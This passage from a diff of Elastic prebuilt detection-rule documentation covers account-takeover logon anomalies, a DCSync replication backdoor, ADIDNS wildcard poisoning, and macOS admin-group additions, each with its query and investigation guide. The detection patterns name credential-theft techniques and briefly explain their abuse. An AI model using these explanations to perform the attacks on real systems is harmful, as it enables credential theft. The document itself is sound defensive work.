gen_ai.usage.prompt_tokens, + gen_ai.usage.completion_tokens + +// Aggregate usage metrics +| stats + Esql.ml_usage_prompt_tokens_max = max(gen_ai.usage.prompt_tokens), + Esql.ml_invocations_total_count = count(*), + Esql.ml_usage_completion_tokens_avg = avg(gen_ai.usage.completion_tokens) + by + user.id + +// Filter for suspicious usage patterns +| where + Esql.ml_usage_prompt_tokens_max > 5000 + and Esql.ml_invocations_total_count > 10 + and Esql.ml_usage_completion_tokens_avg > 500 + +// Calculate a custom risk factor +| eval Esql.ml_risk_score = + (Esql.ml_usage_prompt_tokens_max / 1000) * + Esql.ml_invocations_total_count * + (Esql.ml_usage_completion_tokens_avg / 500) + +// Filter on risk score +| where Esql.ml_risk_score > 10 + +// sort high risk users to top +| sort Esql.ml_risk_score desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-account-takeover-logon-from-new-source-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-account-takeover-logon-from-new-source-ip.asciidoc new file mode 100644 index 0000000000..511f5c15fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-account-takeover-logon-from-new-source-ip.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-potential-account-takeover-logon-from-new-source-ip]] +=== Potential Account Takeover - Logon from New Source IP + +Identifies a user account that normally logs in with high volume from one source IP suddenly logging in from a different source IP. This pattern (one IP with many successful logons, another IP with very few) may indicate account takeover or use of stolen credentials from a new location. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 14m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1078/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Account Takeover - Logon from New Source IP* + + +An account that historically logs in many times from a single source IP (e.g. usual workstation or VPN) and then shows successful logons from exactly one other IP with a low count may indicate credential compromise and use from a new location (account takeover). + + +*Possible investigation steps* + + +- Confirm with the account owner whether they recently logged in from the new source IP or from a new device/location. +- Check the new source IP for reputation, geography, and whether it is expected (e.g. corporate VPN range vs unknown). +- Correlate with other alerts for the same user or source IP (e.g. logon failures, password changes, MFA changes). +- Review timeline: if the "new" IP logon is very recent compared to the high-count IP, treat as higher priority. + + +*False positive analysis* + + +- Legitimate use from a second device (e.g. new laptop, second office, VPN from travel) can produce exactly two IPs with one IP having few logons. Tune threshold (e.g. max_logon >= 100) or add exclusions for known VPN/remote ranges if needed. +- Service or shared accounts that are used from multiple jump hosts or scripts may show two IPs; consider excluding known service accounts. + + +*Response and remediation* + + +- If takeover is confirmed: force password reset, revoke sessions, and enable or enforce MFA. Disable or lock the account until the user verifies identity. +- Investigate how credentials may have been compromised (phishing, breach, endpoint) and address the vector. + + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-system.security*, logs-windows.forwarded*, winlogbeat-* metadata _id, _version, _index +| where event.category == "authentication" and event.action == "logged-in" and winlog.event_id == "4624" and + event.outcome == "success" and winlog.logon.type in ("Network", "RemoteInteractive") and + source.ip is not null and source.ip != "127.0.0.1" and not to_string(source.ip) like "*::*" and not user.name like "*$" +| stats logon_count = COUNT(*), host_names = VALUES(host.name) by user.name, user.id, source.ip +| stats + Esql.max_logon = MAX(logon_count), + Esql.min_logon = MIN(logon_count), + Esql.unique_host_count = COUNT_DISTINCT(host_names), + Esql.host_name_values = VALUES(host_names), + Esql.source_ip_values = VALUES(source.ip), + Esql.count_distinct_source_ip = COUNT_DISTINCT(source.ip) by user.name, user.id + +// high count of logons is often associated with service account tied to a specific source.ip, if observed in use from a new source.ip it's suspicious +| where Esql.max_logon >= 1000 and (Esql.min_logon >= 1 and Esql.min_logon <= 5) and Esql.count_distinct_source_ip == 2 and Esql.unique_host_count >= 2 +| eval source.ip = MV_FIRST(Esql.source_ip_values), host.name = MV_FIRST(Esql.host_name_values) +| KEEP user.name, user.id, host.name, source.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-account-takeover-mixed-logon-types.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-account-takeover-mixed-logon-types.asciidoc new file mode 100644 index 0000000000..5a61e3766d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-account-takeover-mixed-logon-types.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-potential-account-takeover-mixed-logon-types]] +=== Potential Account Takeover - Mixed Logon Types + +Identifies a user account (often a service account) that normally logs in with high volume using one logon type suddenly showing successful logons using a different logon type with low count. This pattern may indicate account takeover or use of stolen credentials from a new context (e.g. interactive or network logon where only batch/service was expected). + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 14m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1078/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Account Takeover - Mixed Logon Types* + + +A high-volume account (e.g. service account tied to a specific logon type such as Batch or Network) that also shows successful logons with a different logon type and low count may indicate credential compromise and use from a new context (account takeover or misuse). + + +*Possible investigation steps* + + +- Confirm with the account owner or service owner whether the additional logon type is expected (e.g. new automation, RDP for maintenance). +- Review which logon types appear in Esql.logon_type_values and which has the low count (likely the anomalous one). +- Correlate with other alerts for the same user (e.g. logon from new source IP, password changes, MFA changes). +- Check whether the account is a known service account; if so, verify if any new scripts or systems were authorized to use it. + + +*False positive analysis* + + +- Legitimate expansion of use (e.g. service account also used for occasional interactive logon for troubleshooting) can trigger this. Tune thresholds (e.g. max_logon >= 1000, min_logon <= 10) or add exclusions for known service accounts with documented multi-context use. +- New scheduled tasks or automation that use a different logon type may cause a short-lived spike in the "other" logon type; review over a longer window if needed. + + +*Response and remediation* + + +- If takeover or misuse is confirmed: force password reset, revoke sessions, rotate service account credentials, and restrict logon type or source where possible. +- Investigate how credentials may have been compromised and address the vector. + + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-system.security*, logs-windows.forwarded*, winlogbeat-* metadata _id, _version, _index +| WHERE event.category == "authentication" and event.action == "logged-in" and winlog.event_id == "4624" and + event.outcome == "success" and not user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + to_lower(user.name) != "administrator" +| STATS logon_count = COUNT(*), host_names = VALUES(host.name) by user.name, user.id, winlog.logon.type +| STATS + Esql.max_logon = MAX(logon_count), + Esql.min_logon = MIN(logon_count), + Esql.unique_host_count = COUNT_DISTINCT(host_names), + Esql.host_name_values = VALUES(host_names), + Esql.logon_type_values = VALUES(winlog.logon.type), + Esql.count_distinct_logon_types = COUNT_DISTINCT(winlog.logon.type) by user.name, user.id + +// high count of logons is often associated with service account tied to a specific service, if observed in use with a different logon type it's suspicious +| WHERE Esql.count_distinct_logon_types >= 2 and Esql.max_logon >= 1000 and (Esql.min_logon >= 1 and Esql.min_logon <= 10) and Esql.unique_host_count >= 2 +| EVAL winlog.logon.type = MV_FIRST(Esql.logon_type_values), host.name = MV_FIRST(Esql.host_name_values) +| KEEP user.name, user.id, host.name, winlog.logon.type, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-active-directory-replication-account-backdoor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-active-directory-replication-account-backdoor.asciidoc new file mode 100644 index 0000000000..39f0180dfa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-active-directory-replication-account-backdoor.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-potential-active-directory-replication-account-backdoor]] +=== Potential Active Directory Replication Account Backdoor + +Identifies the modification of the nTSecurityDescriptor attribute in a domain object with rights related to DCSync to a user/computer account. Attackers can use this backdoor to re-obtain access to hashes of any user/computer. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/menasec1/status/1111556090137903104 +* https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml +* https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all +* https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes +* https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-in-filtered-set + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Active Directory Replication Account Backdoor* + + +Active Directory (AD) is a critical component in many enterprise environments, managing user and computer accounts. Adversaries may exploit AD by modifying security descriptors to gain replication rights, allowing them to extract sensitive credential data. The detection rule identifies suspicious changes to security descriptors, specifically targeting attributes that grant replication capabilities, which could indicate an attempt to establish a backdoor for credential access. + + +*Possible investigation steps* + + +- Review the event logs for the specific event code 5136 to identify the exact changes made to the nTSecurityDescriptor attribute and the account involved. +- Examine the winlog.event_data.AttributeValue to determine if the changes include the specific GUIDs (*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2, *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2, *89e95b76-444d-4c62-991a-0facbeda640c) that indicate replication rights were granted. +- Identify the user or computer account (S-1-5-21-*) that was granted these rights and assess whether this account should have such permissions. +- Check the account's recent activity and login history to identify any unusual or unauthorized access patterns. +- Investigate any recent changes or anomalies in the directory service that could correlate with the suspicious modification event. +- Consult with the Active Directory administrators to verify if the changes were authorized and part of any legitimate administrative tasks. + + +*False positive analysis* + + +- Changes made by authorized administrators during legitimate security audits or system maintenance can trigger the rule. To manage this, create exceptions for known administrative accounts performing regular audits. +- Automated scripts or tools used for Active Directory management might modify security descriptors as part of their normal operation. Identify these scripts and exclude their associated accounts from triggering alerts. +- Scheduled tasks or system processes that require replication rights for synchronization purposes may also cause false positives. Review and whitelist these processes if they are verified as non-threatening. +- Third-party applications with legitimate replication needs might alter security descriptors. Ensure these applications are documented and their actions are excluded from the rule. +- Temporary changes during system migrations or upgrades can be mistaken for suspicious activity. Monitor these events closely and apply temporary exceptions as needed. + + +*Response and remediation* + + +- Immediately isolate the affected user or computer account from the network to prevent further unauthorized access or data exfiltration. +- Revoke any unauthorized permissions or changes made to the nTSecurityDescriptor attribute for the affected account to remove replication rights. +- Conduct a thorough review of recent changes to the AD environment, focusing on accounts with elevated privileges, to identify any other unauthorized modifications. +- Reset passwords for all accounts that may have been compromised, prioritizing those with administrative or sensitive access. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activity. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the full scope of the breach. +- Review and update access control policies and security descriptors in Active Directory to prevent similar unauthorized changes in the future. + + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:"5136" and host.os.type:"windows" and + winlog.event_data.AttributeLDAPDisplayName:"nTSecurityDescriptor" and + winlog.event_data.AttributeValue : ( + ( + *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-* and + *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-* and + *89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-* + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: DCSync +** ID: T1003.006 +** Reference URL: https://attack.mitre.org/techniques/T1003/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-adidns-poisoning-via-wildcard-record-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-adidns-poisoning-via-wildcard-record-creation.asciidoc new file mode 100644 index 0000000000..2ff75caf56 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-adidns-poisoning-via-wildcard-record-creation.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-potential-adidns-poisoning-via-wildcard-record-creation]] +=== Potential ADIDNS Poisoning via Wildcard Record Creation + +Active Directory Integrated DNS (ADIDNS) is one of the core components of AD DS, leveraging AD's access control and replication to maintain domain consistency. It stores DNS zones as AD objects, a feature that, while robust, introduces some security issues, such as wildcard records, mainly because of the default permission (Any authenticated users) to create DNS-named records. Attackers can create wildcard records to redirect traffic for names that do not explicitly match records in the zone, positioning themselves as an adversary-in-the-middle and enabling credential interception or relay through ADIDNS manipulation similar in outcome to LLMNR/NBNS spoofing. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/ +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/adidns-spoofing + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential ADIDNS Poisoning via Wildcard Record Creation* + + + +*Possible investigation steps* + + +- What wildcard object did the alert create, and which ADIDNS scope can it affect? + - Why: a leading `DC=*` object can answer otherwise unresolved names across that ADIDNS zone, so the zone and partition define the first impact boundary. + - Focus: `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectGUID`, `winlog.event_data.DSName`, and `winlog.computer_name`. + - Hint: parse `winlog.event_data.ObjectDN` from left to right. In `DC=*,DC=example.com,CN=MicrosoftDNS,DC=DomainDnsZones,DC=example,DC=com`, `DC=*` is the wildcard node, `DC=example.com` is the DNS zone, and `DC=DomainDnsZones,...` identifies the AD DNS partition. + - Implication: escalate faster when the object is a wildcard dnsNode in a production domain or forest DNS partition; lower concern only when the same object, zone, and domain controller align with a defensive sinkhole or contained test candidate, then continue to session and change evidence before closure. + +- Which account created the wildcard? + - Focus: `user.name`, `user.id`, and `winlog.event_data.SubjectLogonId`. + - Implication: escalate when the creator is not a recognized zone-management, defensive sinkhole, or test identity for this object and zone; keep investigating when the account fits a known role because identity alone does not clear wildcard creation. + +- Where did the creating session originate? + - Focus: 4624 events on the same `host.id` where `winlog.event_data.TargetLogonId` matches `winlog.event_data.SubjectLogonId`; review `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`. + - !{investigate{"description":"","label":"Session origin (4624) for the wildcard-creating logon","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when the source, logon type, or authentication method is unexpected for DC-side ADIDNS changes; missing 4624 origin data is unresolved, not benign. + +- What DNS attributes or neighboring objects changed in the same operation? + - Focus: same-session 5136/5137 records keyed by `winlog.event_data.OpCorrelationID` or `winlog.event_data.SubjectLogonId`, then grouped by `winlog.event_data.ObjectGUID`; inspect `winlog.event_data.AttributeLDAPDisplayName` and `winlog.event_data.AttributeValue`. + - Hint: query the same domain controller and alert window for matching directory-service changes. Treat `winlog.event_data.AttributeValue` for `dnsRecord` as a lead because Security logs may encode or truncate record data. If the target is unclear, retrieve the current ADIDNS object or DNS record and compare it to `ObjectDN`, `ObjectGUID`, and the event timeline because current state may differ from event-time state. Missing DNS record data is unresolved, not benign. Windows Security alone does not prove tool identity or client redirection. + - !{investigate{"description":"","label":"Directory service changes from the wildcard-creating session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.OpCorrelationID","queryType":"phrase","value":"{{winlog.event_data.OpCorrelationID}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5137","valueType":"string"}]],"relativeFrom":"now-1h/h","relativeTo":"now"}} + - Implication: escalate when 5136 data shows a dnsRecord target or adjacent ADIDNS changes not tied to the same verified sinkhole or test object; if `winlog.event_data.AttributeValue` is opaque or absent, the target remains unresolved. + +- Did clients use the wildcard or authenticate to the recovered target? + - Focus: DNS/client telemetry for names in the affected zone and downstream network or authentication events to the recovered target; compare `dns.question.name`, `dns.resolved_ip`, `source.ip`, and `destination.ip`. + - Implication: escalate impact when clients query unresolved names that resolve to the wildcard target, then connect or authenticate to that target; missing DNS, network, or authentication telemetry is unresolved, not benign. + +- If object, session, or change-set evidence stays suspicious, do related alerts suggest broader AD abuse? + - Focus: related alerts for `user.id` and `host.id` involving repeated directory-service changes, ADIDNS abuse, or credential access. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the domain controller","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same actor or domain controller shows related AD, relay, or credential-access activity; keep scope local only when related alerts are absent and object, session, and change-set evidence fit a recognized sinkhole or test. + +- Escalate when production wildcard scope, unrecognized creator/session, suspicious dnsRecord target, client-impact evidence, adjacent ADIDNS changes, or related AD-abuse alerts point to unrecognized wildcard creation; close only when all evidence fits the exact defensive sinkhole or contained test object; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Wildcard records in AD-integrated DNS zones are an anti-pattern because they can replace NXDOMAIN behavior and redirect unresolved names. The plausible benign paths are narrow: an administrator-controlled defensive sinkhole or a contained red-team or penetration test. Confirm by verifying that `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectGUID`, `winlog.event_data.DSName`, `user.id`, `winlog.event_data.SubjectLogonId`, and recovered 5136 attribute evidence all align with that exact object and scope. +- If independent confirmation of the sinkhole or test is unavailable, do not close as benign even when the Windows Security evidence is internally consistent. +- Before creating an exception, require the same wildcard object, authorized zone, creator identity, and defensive or test window to recur as one stable workflow. Avoid exceptions on `user.name`, `user.id`, or the domain partition alone because those would suppress lookalike wildcard creation. + + +*Response and remediation* + + +- If confirmed as an authorized defensive sinkhole or test, reverse any temporary containment, verify the wildcard is removed or retained according to that scope, and document `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectGUID`, `winlog.event_data.DSName`, creating `user.id`, `winlog.event_data.SubjectLogonId`, `winlog.computer_name`, and the confirming scope. +- If suspicious but unconfirmed, export the AD object state, replication context, and related 5136/5137 Windows Security events before modifying the record or account. Then apply reversible containment tied to the evidence, such as restricting the creating account's ADIDNS write path or temporarily limiting that account while scope is clarified. +- If confirmed malicious, preserve the exported AD object, 5136 attribute evidence, session-origin evidence, and related alerts before deletion. Remove the wildcard and any unauthorized ADIDNS objects from the same session, then verify removal replicated to all domain controllers. +- Disable or restrict the creating account after evidence preservation to prevent re-poisoning. Use `winlog.event_data.SubjectLogonId` and recovered `source.ip` to hand off the source system for endpoint investigation of ADIDNS tooling, credential capture, or follow-on authentication. +- If separate response evidence proves client redirection through the wildcard, treat credentials active on affected systems as exposed. Reset those accounts, prioritizing privileged and service accounts, and investigate for relayed authentication or follow-on access. +- Review ADIDNS permissions for the affected zone; reduce wildcard-creation opportunities, especially broadly delegated or authenticated-user create-child rights. Search all AD-integrated zones for additional wildcard or suspicious ADIDNS objects and document the final evidence set for future narrow exceptions. + + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "5137" and + startsWith(winlog.event_data.ObjectDN, "DC=*,") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-admin-group-account-addition.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-admin-group-account-addition.asciidoc new file mode 100644 index 0000000000..81c7ccc039 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-admin-group-account-addition.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-potential-admin-group-account-addition]] +=== Potential Admin Group Account Addition + +Identifies attempts to add an account to the admin group via the command line. This could be an indication of privilege escalation activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://managingosx.wordpress.com/2010/01/14/add-a-user-to-the-admin-group-via-command-line-3-0/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Admin Group Account Addition* + + +In macOS environments, tools like `dscl` and `dseditgroup` manage user group memberships, including admin groups. Adversaries may exploit these tools to escalate privileges by adding accounts to admin groups, gaining unauthorized access. The detection rule identifies such attempts by monitoring process activities related to these tools, excluding legitimate management services, to flag potential privilege escalation. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of `dscl` or `dseditgroup` with arguments indicating an attempt to add an account to the admin group, such as "/Groups/admin" and "-a" or "-append". +- Check the process's parent executable path to ensure it is not one of the legitimate management services excluded in the query, such as JamfDaemon, JamfManagementService, jumpcloud-agent, or Addigy go-agent. +- Investigate the user account associated with the process to determine if it has a history of legitimate administrative actions or if it appears suspicious. +- Examine recent login events and user activity on the host to identify any unusual patterns or unauthorized access attempts. +- Correlate the alert with other security events or logs from the same host to identify any related suspicious activities or potential indicators of compromise. +- Assess the risk and impact of the account addition by determining if the account has been successfully added to the admin group and if any unauthorized changes have been made. + + +*False positive analysis* + + +- Legitimate management services like JAMF and JumpCloud may trigger false positives when they manage user group memberships. These services are already excluded in the rule, but ensure any additional management tools used in your environment are similarly excluded. +- Automated scripts or maintenance tasks that require temporary admin access might be flagged. Review these scripts and consider adding them to the exclusion list if they are verified as safe. +- System updates or software installations that modify group memberships could be misidentified. Monitor these activities and adjust the rule to exclude known update processes if they are consistently flagged. +- User-initiated actions that are part of normal IT operations, such as adding a new admin for legitimate purposes, may appear as false positives. Ensure that such actions are documented and communicated to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or privilege escalation. +- Review the process execution logs to confirm unauthorized use of `dscl` or `dseditgroup` for adding accounts to the admin group, ensuring the activity is not part of legitimate administrative tasks. +- Remove any unauthorized accounts from the admin group to restore proper access controls and prevent further misuse of elevated privileges. +- Conduct a thorough review of all admin group memberships on the affected system to ensure no other unauthorized accounts have been added. +- Reset passwords for any accounts that were added to the admin group without authorization to prevent further unauthorized access. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar activities across the network to detect and respond to future privilege escalation attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== 